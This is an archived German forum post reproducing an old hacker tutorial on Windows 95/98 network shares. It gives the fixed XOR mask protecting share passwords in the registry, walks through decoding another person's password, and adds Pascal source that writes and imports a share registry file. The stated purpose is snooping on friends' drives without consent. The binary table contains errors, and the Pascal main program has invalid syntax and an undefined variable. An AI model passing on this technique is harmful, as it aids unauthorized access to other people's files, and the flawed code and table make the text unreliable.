PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Windows LAN Network Hacking Tutorial



HurricanX
09.09.2004, 01:10
$inlos95/98 Windows LAN Network hack (+source) cray/ orginal 23-06-1998
cray/ updatet 09-06-2000



______/\____ _/\__ ___ H a c k e r's D i g i t a l C r i m e
\ ___\___ \/ \ \_/ / http://www.h-d-c.org www.rootaccess.de
/ / __ _/ / \ / cray@h-d-c.org cray@rootaccess.de
/ /_/ / ___/ /__\ \ \
\____/\____/__/ \__\__\





[Erklaerung]

Also vom Prinzip ist das nichts anderes als das man hiermit die Netzwerk
Freigabe von Windows Encrypten kann zB. Wenn man mal wieder bei einer
Network- session ist und fleissig GAMES zockt und man selber aber keinen
Bock drauf hat und sich viel lieber mal die Platten der netten SpielePhreaks
reinziehen will. Jeder weiß das man unter Windows wenn man Daten von einem
Rechner zum anderen schieben will man erst ein Laufwerk Freigeben muss um
überhaupt mal einblick auf die Platten zu bekommen die an dem anderen
Rechner hängen Da aber meistens bei einer NetworkSession die Freunde voll
Angst haben um ihre Daten und ihre tolle Pornosammlung ;) geben sie nur das
Frei was noetig ist und das ist eh meist das was ihr so und so bekommt oder
schon habt hehe also so gings mir immer und da habe ich mir mal gedacht
warum hack ich mir nicht mal solch eine tolle Freigabe *ggg* naja OK ...


[Einfuerung "Erstmal ein Laufwerk freigeben" ]

So als erstes gehen wir mal in den Explorer und klicken ein Verzeichens oder
ein Laufwerk mit der rechten Maustaste an dann gehen wir auf Freigabe jetzt
sollte sich ein Fenster öffnen in dem steht:

( ) nicht Freigeben
(o) Freigeben als ...... > dieses bitte anklicken

Jetzt schreibt Ihr noch ein Sinnlosen Freigabenamen
ein zB. (" FICKDICH ") das erleichtert die suche im
Regstrierungs Editor, weiter unten steht: "Zugriffstyp"

( ) Schreibgeschützt
( ) Lese -/Schreibzugriff
(o) Zugriff abhängig vom Kennwort ...... > dieses bitte anklicken

Jetzt noch ein Passwort eingeben ich würde meinen Ihr tippt erst ein mal (8x
den Buchstaben A) ein weil ich in der Beschreibung hier es auch so gemacht
habe... So jetzt noch mal eine Bestätigung und fertig. Es kann sein das bei
euch jetzt zwei Passwörter verlangt.. werden: "Eines für Schreib - geschützt
und eines für Lese-/Schreibzugriff" Ihr könnt ruhig bei beiden (8x den
Buchstaben A) eingeben ich sollte besser noch dazusagen das wenn man einen
kleinen Buchstaben schreibt das $inlos95 ihn automatisch in einen großen
umwandelt...jedensfalls war mir mal so ;-P


[Jetzt kommen wir zur Entschluesselung]

Ok jetzt beendet ihr das mit [OK] und startet den Regstrierungs Editor der
im Windows Verzeichnis unter C:\Windows\Regedit.exe zu finden ist. Wenn
nicht besorgt ihn euch !

Ihr startet den Regeditor und drückt jetzt mal die [Strg] + [F] jetzt sollte
ein Fenster erscheinen in diesem steht: "Suchen nach:" [ FICKDICH ] ihr
errinnert euch ?

(o) Schlüssel ...... > dieses bitte anklicken
( ) Werte
( ) Daten

Jetzt auf [Weitersuchen] und los ..such........such.......such....... AHHHH
Da steht es ja ....so dann schaut mal auf die rechte Seite


"Flags"=dword:00000103 < Ob überhaubt ein Passwort gesetzt wurde
"Type"=dword:00000000 und welches Drive "HDisk"
"Path"="C:\\" < Der Path wo die Freigabe ist
"Parm2enc"=hex: < Passwort für (nur Lesezugriff)
"Parm1enc"=hex:74,db,0c,e7,12,e8,95,2b < Passwort für (Lese-/Schreibzugriff)
"Remark"=""


HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Network\LanMan\FICKDICH

So also wie ihr gesehen habt ist das hier das PW:

"Parm1enc"=hex:74,db,0c,e7,12,e8,95,2b <- (8x A)
A A A A A A A A

Da ihr wisst das ihr ein großes A genommen habt schaut ihr in einer tabelle
nach welcher HexaDecimal-Wert für ein A steht..

A=41
B=42 !! ACHTUNG HEXADECIMAL WERT NICHT DECIMAL !!
C=43....usw.

dann alle HexaDecimalCodes " 74 DB 0C E7 12 E8 95 2B " umrechnen mit dem
Windows Taschenrechner unter c:\Windows\calc.exe starten und auf
Wissenschaftlich umstellen und DEC anklicken

mit XOR [ø^] um rechnen so in etwa¿


74^41=35 (XOR ist die taste unter der [ESC] taste)
DB^41=9A
0C^41=4D
E7^41=A6
12^41 53
E8^41=A9
95^41=D4
2B^41=6A

Ergebnis ist diese XOR Maske 35 9A 4D A6 53 A9 D4 6A diese bleibt
immer die selbe egal was man für ein PW eingegeben hat und ob 95/98

so nehmen wir mal an euer PW ist nicht 8x mal ein A sondern "TEST1234"
dann bleibt trotzdem die selbe XorMaske
-> Passwort T E S T 1 2 3 4
-> XorMaske 35 9A 4D A6 53 A9 D4 6A


ahh klingelst jetzt.....?!?! ich brauche jetzt nur den anderen Weg rechnen
>>-umkehr-<< das würde heißen ich schau jetzt mal einfach bei jemanden nach
und finde ein PW im Regeditor ...........

zB.
1.) Passwort finden: 61 DF 1E F2 62 9B E7 5E
2.) Passwort umrechnen Windows TaschenRechner
unter C:\Windows\calc.exe Starten und auf
Wissenschaftlich umstellen und DEC anklicken

61 xor 35 = T
DF xor 9A = E
1E xor 4D = S
F2 xor A6 = T
62 xor 53 = 1
9B xor A9 = 2
E7 xor D4 = 3
5E xor 6A = 4

Ihr fragt euch vieleicht ob das nicht ein bischen zu hoch ist...NEIN ist es
nicht es ist wohl die leichteste verschlüsselung die es giebt naja fast.....
die einfachste wäre wohl jedem buchstaben einen anderen zu zuordnen (ROT13
;-) wenn ihr wissen wollt wie man das umsetzt dann weiter lesen !



************************************************** ****************************



[Einfuerung Rechnen mit 0 und 1 und Decimal Hexadecimal]

Was ist XOR ??? XOR => exclusive or => Entweder oder

XOR ist eine Methode die Bits zu verstauschen
kann man sich so vorstellen man beachte den
binär code!

Char Decimal Hexadecimal Binär
A 65 41 01000001
---XOR----------------------------------------
‚ 130 82 10000010


Table:
False 0 False 0 True 1
Wert False 0 True 1
True 1 True 1 False 0

Was ist 0 und 1 ??? /+Decimal2HexaDecimal function / umrechnung in pascal

Der Computer kennt im wessentlichen nur zwei Zustände:
+ Strom an oder aus
+ Ja oder Nein
+ 1 oder 0

Doch da das sehr langweilig ist, hat man sich überlegt, wie man ihm Zahlen
beibringen kann und letztendlich kam man auf die Idee, eine Zahl aus einer
Kombination von diesen An/Aus Informationen darzustellen.

Also so: 101100010100110101 ...
Eine zwei wurde zum Beispiel so dargestellt: 10
Eine vollständige 4-Bit Codetabelle sieht so aus:

dez. binär
0 0000
1 0001
2 0010
3 0011
4 0100
5 0101
6 0110
7 0111
8 1000
10 1001
11 1010
12 1011
13 1100
14 1101
15 1111

Da diese 1010110101 Zahlen ziemlich aufwenig zu schreiben sind (wegen der
ganzen nullen und einsen) wollte man eine kürzere Variante benutzen, die
einem diese Masse von 101010111001 ersparte. Da jedoch die Umwandlung von
Binär in Dezimal nicht ganz schnell im Kopf zu rechnen ist, und andersrum
es auch nicht gerade den Spass macht, hat man ein neues Zahlenformat
eingeführt: Hexadezimal

Aber nun erstmal die Umrechnung von Dezimal in Binär:

Man nehme eine Dezimale Zahl z.Bsp.: 97d 97d = ????????b Man fängt für
gewöhnlich bei der ganz linken (binäre Zahl) Stelle an, die im dezimalen
System einen Wert hat, der größer als 97d ist. In diesem Fall ist das 128d
(10000000b). Da die Zahl 97d größer als 128d ist, ist die erste linke
Stelle (dann also immer) 0 bis jetzt wissen wir also soviel: 97d ==
0??????? Jetzt nehmen wir uns die nächste Stelle vor, das ist 64d
(01000000b) Da 97d größer als 64d ist, bedeutet das, das die nächste Stelle
eine 1 ist, also 97d == 01??????. Jetzt ziehen wir von 97d die 64d ab: 97d
- 64d == 33d Wir kommen zu nächsten Stelle (00100000b) == 32d. 33d ist
größer als 32d also wieder eine 1 für die stelle (00100000d) 97d ==
011????? ... Und dann noch 33d - 32d == 1d ( also eins ) Die nächste
Stelle: (00010000b) == 16d 1d ist nicht größer/gleich als 16d also ist
diese Stelle 0 97d == 0110????b Nächste Stelle: (00001000b) = 8d 1d ist
nicht größer/gleich als 8d also ist diese Stelle auch 0 97d == 01100???b
Nächste Stelle: (00000100b) = 4d 1d ist nicht größer/gleich als 4d also ist
diese Stelle auch 0 97d == 011000??b Nächste Stelle: (00000010b) = 2d 1d
ist nicht größer/gleich als 2d also ist diese Stelle auch 0 97d ==
0110000?b Nächste Stelle: (00001000b) = 8d 1d ist jetzt größer/gleich wie
1d also ist diese Stelle eine 1 97d == 01100001b Tada! 97d ist also binär
01100001b Wirklich toll, aber wir wollen doch in Hexadezimal umwandeln, wie
geht das denn jetzt? Es ist einfacher als man denkt, denn wenn Du Dir mal
so eine 4-Bit Binär genau ansiehst, dann siehst Du, dass Du mit diesen 4
Bits alle Zahlen von 0d bis 15d darstellen kannst. also genau wie das
hexaformat...0 bis F

Bsp.:
Die zahl 1010101010010101110010110b soll nach hexa
umgewandelt werden: Erstmal in vierer-Gruppen aufteilen:
Binär : 1 0101 0101 0010 1011 1001 0110b
(Dezimal): 1 5 5 2 11 9 6 (ist nicht 15521196 dez !!!)
Hexadez. : 1 5 5 A B 9 6 (ergibt 155AB96 hex)

Geht auch andersrum: 143CAh
Hexadez. : 1 4 3 C A
Binär : 0001 0100 0011 1100 1010 also 00010100001111001010b

Also, wie das hier alles es so schön zeigt, lässt es sich wunderbar von
Binär nach Hexa und von Hexa nach Binär umwandeln, aber die Umwandlung von
Dezimal ist und bleibt eine Plage (was haben die uns da in der Schule bloss
beigebracht? UNVERANTWORTLICH! ... aber egal )

Um nun endlich zum Punkt zu gelangen... dem Computer ist das Scheissegal,
in welchen Zahlensystem wir uns befinden... er rechnet immer Binär und
alles andere interessiert ihn nicht. Er rechnet nicht nur, sondern er
speichert auch:

In einem Byte finden 8 Bits Platz... also genau 2 hexa-Zahlen/Digits.
In einem Word finden 2 Bytes also 16 Bits also 4 hexa-Digits Platz
In einem DoubleWord (DWord) finden 4 Bytes, 32 Bits, 8 Hexa Digits Platz
( Ok ok, das reicht )

Da man 8 Bits als Gruppe ein Byte nannte nennt man 4 Bits als Gruppe ein
Nibble.

Was ich nun eigentlich großes in der Funktion gemacht habe... ich hab
einfach das dezimal Format übergangen, weil ja der Prozessor so nett war,
und für mich die Binärdigits schön säuberlich in 8ter Packs aufn Stäääck
gelegt hat und ich nur noch aus den insgesammt vier Bytes alle 4er
Bitblöcke rausklauen brauchte, und diese dann in Hexas umzuformaten, was so
einfach war wie nen kleinen Kind den Lutscher zu klauen.

Longint (4 Bytes; 32 Bits; acht 4er Bitblöcke; 8 Nibbles) im Speicher: (PS:
is hier leider alles Spiegel verkehrt, wegen besserer Darstellung)

Byte 4 Byte 3 Byte 2 Byte 1
Bits: 8765 4321 8765 4321 8765 4321 8765 4321
???? ???? ???? ???? ???? ???? ???? ????
Nibble: 8 7 6 5 4 3 2 1

Das Nibble ist zugleich auch die HexaDigit-Stelle...

Man geht also die Bytes der Reinfolge nach durch (1 bis 4) Bei jedem Byte
muss man dann die Nibbles raus lesen, das geht so:

VAR a,b,c: Byte;
.
c:= ... Byte 1... 2... 3 und dann 4
.
a:=c and $0F; ; $0F = 00001111b ... die unteren 4 Bits bleiben erhalten,
. die oberen 4 Bits werden gelöscht (auf null gesetzt)
.
b:=c and $F0; ; $F0 = 11110000b ... die unteren 4 Bits werden gelöscht,
. die oberen 4 Bits bleiben erhalten (auf null gesetzt)
b:=b shr 4; ; die oberen 4 Bits werden nach unten verschoben
. anders: Oberen 4 Bits werden in die unteren 4 Bits kopiert
. und die oberen 4 Bits gelöscht
.

Was haben wir danach? In a steht das 1. Nibble und in b das 2. Nibble Jetzt
brauchen wir nur noch unseren cewlen Konstanten_String benutzen, den wir
Xtra dafür vorbereitet haben:

CONST HexSet : String[16]='0123456789ABCDEF';
und holen uns die Digits mit
VAR Back : String;
.
Back:=Back + HexSet[a];
Back:=Back + HexSet[b];
.
Diesen Prozess durchführen wir natürlich für jedes Byte.


FUNCTION Dec2Hex(Zahl:Longint; Stellen: Byte):String;
TYPE TZahlSpalt = Array[0..3] of Byte; { Wird als Maske verwendet }
CONST HexSet : String[16]='0123456789ABCDEF';
VAR Back : String; { Rückgabe-String }
a,
b,
i : Byte; { Zählvariabel }
BEGIN
Back:=''; { Den Rückgabe-String erstmal initialisieren }
i:=0; { Stellenzähler initialisieren }
Repeat
b:=TZahlSpalt(Zahl)[i shr 1]; { Ein Byte von der Zahl holen }
inc(i); { Position der Aktuellen Stelle um eins nach links setzen }
a:=b and $0F + 1; { Vom Byte die unteren 4 Bits holen und umwandeln in Hexa-Format }
Back:=HexSet[a]+Back; { Zum String Dazu addieren }
IF i=Stellen THEN Break; { Falls nicht mehr stellen verlangt, dann hier raus }
a:=b and $F0 shr 4 + 1; { Vom Byte die oberen 4 Bits holen und in Hexa umwandeln }
Back:=HexSet[a]+Back; { Zum String Dazu addieren }
Inc(i); { Position der Aktuellen Stelle um eins nach links setzen }
Until I=Stellen; { Falls nicht mehr stellen verlangt, dann hier raus }
Dec2hex:=Back; { Rückgabewert}
END;


BEGIN
ASM mov ax,03h
int 10h End;
WriteLn('Ich zeig die Hexazahlen an:');
WriteLn(Dec2Hex($11112368,8));
END.


//////////////////////////////////////////////////////////////////////////////

{ PASCAL-SOURCE-LAN-NETWORK-HACK }
{ hier ist der source der ein die }
{ neue Netzwerkfreigabe verschafft }

{$M $4000,0,0 }
{$F+}

PROGRAM hack_windows_freigabe_oder_so;
USES Crt,Dos;

VAR
F : Text;
E : File;
Dum,FrPfad,Frname,getString,s : String;
DumStr : String;
WinPath,reginpath : String;
Pw1,Pw2 : String [8]; {Pw's mit XOR chiffrieren}
i,Lenght : Byte;
c : Char;
ctrl : Word;
param1,param2,param3 : String;
eingabe : String;

CONST Xormask : ARRAY [1..8] OF BYTE=($35,$9A,$4D,$A6,$53,$A9,$D4,$6A);


FUNCTION Dec2Hex(Zahl:Longint; Stellen: Byte):String; { von Decimal in Hexadecimal umrechnen }
TYPE TZahlSpalt = Array[0..3] of Byte; { Wird als Maske verwendet }
CONST HexSet : String[16]='0123456789ABCDEF';
VAR Back : String; { Rückgabe-String }
a,b,i : Byte; { Zählvariabel }
BEGIN
Back:=''; { Den Rückgabe-String erstmal initialisieren }
i:=0; { Stellenzähler initialisieren }
Repeat
b:=TZahlSpalt(Zahl)[i shr 1]; { Ein Byte von der Zahl holen }
inc(i); { Position der Aktuellen Stelle um eins nach links setzen }
a:=b and $0F + 1; { Vom Byte die unteren 4 Bits holen und umwandeln in Hexa-Format }
Back:=HexSet[a]+Back; { Zum String Dazu addieren }
IF i=Stellen THEN Break; { Falls nicht mehr stellen verlangt, dann hier raus }
a:=b and $F0 shr 4 + 1; { Vom Byte die oberen 4 Bits holen und in Hexa umwandeln }
Back:=HexSet[a]+Back; { Zum String Dazu addieren }
Inc(i); { Position der Aktuellen Stelle um eins nach links setzen }
Until I=Stellen; { Falls nicht mehr stellen verlangt, dann hier raus }
Dec2hex:=Back; { Rückgabewert}
END;


FUNCTION chiffre (s:String):String; { rechnet einen String in XOR um}
VAR i : BYTE;
Dummy : STRING;
BEGIN
Dummy:='';
FOR I:= 1 TO Length (s) DO BEGIN
dummy:=dummy+char (byte(s[i]) XOR xormask[i])
END;
chiffre:=dummy;
END;


FUNCTION Convert2regStr(source :String):String; { komma"," zwischen den String setzen }
VAR
buffer : String;
i : Byte;

BEGIN
source:=chiffre(source); { in Xor umgerechnet }
Buffer:=''; { Unser Buffer }
FOR i:=1 TO Length (source) DO BEGIN { umrechnen in hexdec }
Buffer:=Buffer+Dec2Hex(BYTE(source[i]), 2); { wert > buffer holen }
if i<>Length(source) then Buffer:=Buffer+',';
END;
convert2regstr:=Buffer;
END;


PROCEDURE CHECK_WIN_PATH; { Hier wird der WindowsPath ermittelt }
VAR
winfile :FILE;
suchstr,Buffer :STRING;
winpath :STRING[16];
Buf :ARRAY[1..2048] OF CHAR;
key,c :CHAR;

BEGIN
suchstr:='WinDir='; { zu suchender string }
Buffer[0]:=suchstr[0]; { auf null setzen }

Assign(winfile,'C:\msdos.sys'); { die datei öffnen }
IF ReadOnly+Hidden+Sysfile <> 0 { Schreibschutz entfernen }
THEN SetFAttr(winfile,Archive); { und auf archiv setzen }

Reset(winfile,1); { an den anfang springen }
WHILE Not EoF(winfile) DO BEGIN { wenn kein EOF dann ... }
BlockRead(winfile,c,1); { ein byte lesen }
buffer:=Copy(Buffer,2,Length(Buffer)-1)+c; { byte mit string vergleichen }
IF buffer=suchstr THEN BEGIN { wenn byte übereinstimmt dann }
WriteLn('GEFUNDEN! FilePos:',FilePos(winfile),' / ',FileSize(winfile));
END;
END;
Close(winfile); { Datei schließen }
IF ReadOnly+Hidden+Sysfile <> 1 { wenn die attribute nicht da sind }
THEN SetFAttr(winfile, ReadOnly+Hidden+Sysfile+Archive); { dann wieder setzen }
END;

{************************************************* ***************************}
{ ----H-A-U-P-T-P-R-O-G-R-A-M----- }

BEGIN
Clrscr;
TextColor(8);

Gotoxy(3,6); Write('Freigabename: '); ReadLn(FrName);
Gotoxy(3,7); Write('Freigabepfad: '); ReadLn(FrPfad);
Gotoxy(3,8); Write('Schreibgeschütztes PW: '); ReadLn(Pw1);
Gotoxy(3,9); Write('Lese/Schreibzugriff PW: '); ReadLn(Pw2);

Assign(F,'import.dat'); { Datei zum Importieren erstellen }
Rewrite(F);
Writeln(F,'REGEDIT4');
Writeln(F,'');
Writeln(F,'[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Network\LanMan\',Frname,']');
Writeln(F,'"Flags"=dword:00000102'); { <- wozu die Flags gut sind weiß ich selber }
Writeln(F,'"Type"=dword:00000000'); { <- noch nicht sogenau k.A. *grübel }
Writeln(F,'"Path"="',FrPfad,'\"'); { <- Der FreigabePfad }
Writeln(F,'"Parm2enc"=hex:',convert2regstr(pw2)); { <- hier soll das mit XOR + HEXDEC }
Writeln(F,'"Parm1enc"=hex:',convert2regstr(pw1)); { <- umgerechnete hin }
Writeln(F,'"Remark"=""');
Close(F);

WriteLn('Daten werden importiert');
param1:=' /L:',suchstr',\SYSTEM.DAT'; { check-win path }
param2:=' /R:',suchstr',\USER.DAT'; { check-win path }
param3:=' import.dat';

SwapVectors;
exec('C:\Windows\regedit.exe',param1+param2+param3 ); { Daten Importieren }
SwapVectors;
END.
{ EOL -> End off Line cut here }



cleaner | THANX for more information Pascal/Delphi-Coder
D.h7 | THANX for more information JavaCoder
interference | one of a expert Coder ;) C/C++/Pascal/asm Coder


-- contact --
http://www.h-d-c.org
cray@h-d-c.org

CRAY sagt: das ich für nichts hafte war doch schon klar oder ? dieser text
ist auch frei kopierbar ich möchte aber daraufhinweisen das der text nur im
orginal weiter kopiert werden darf!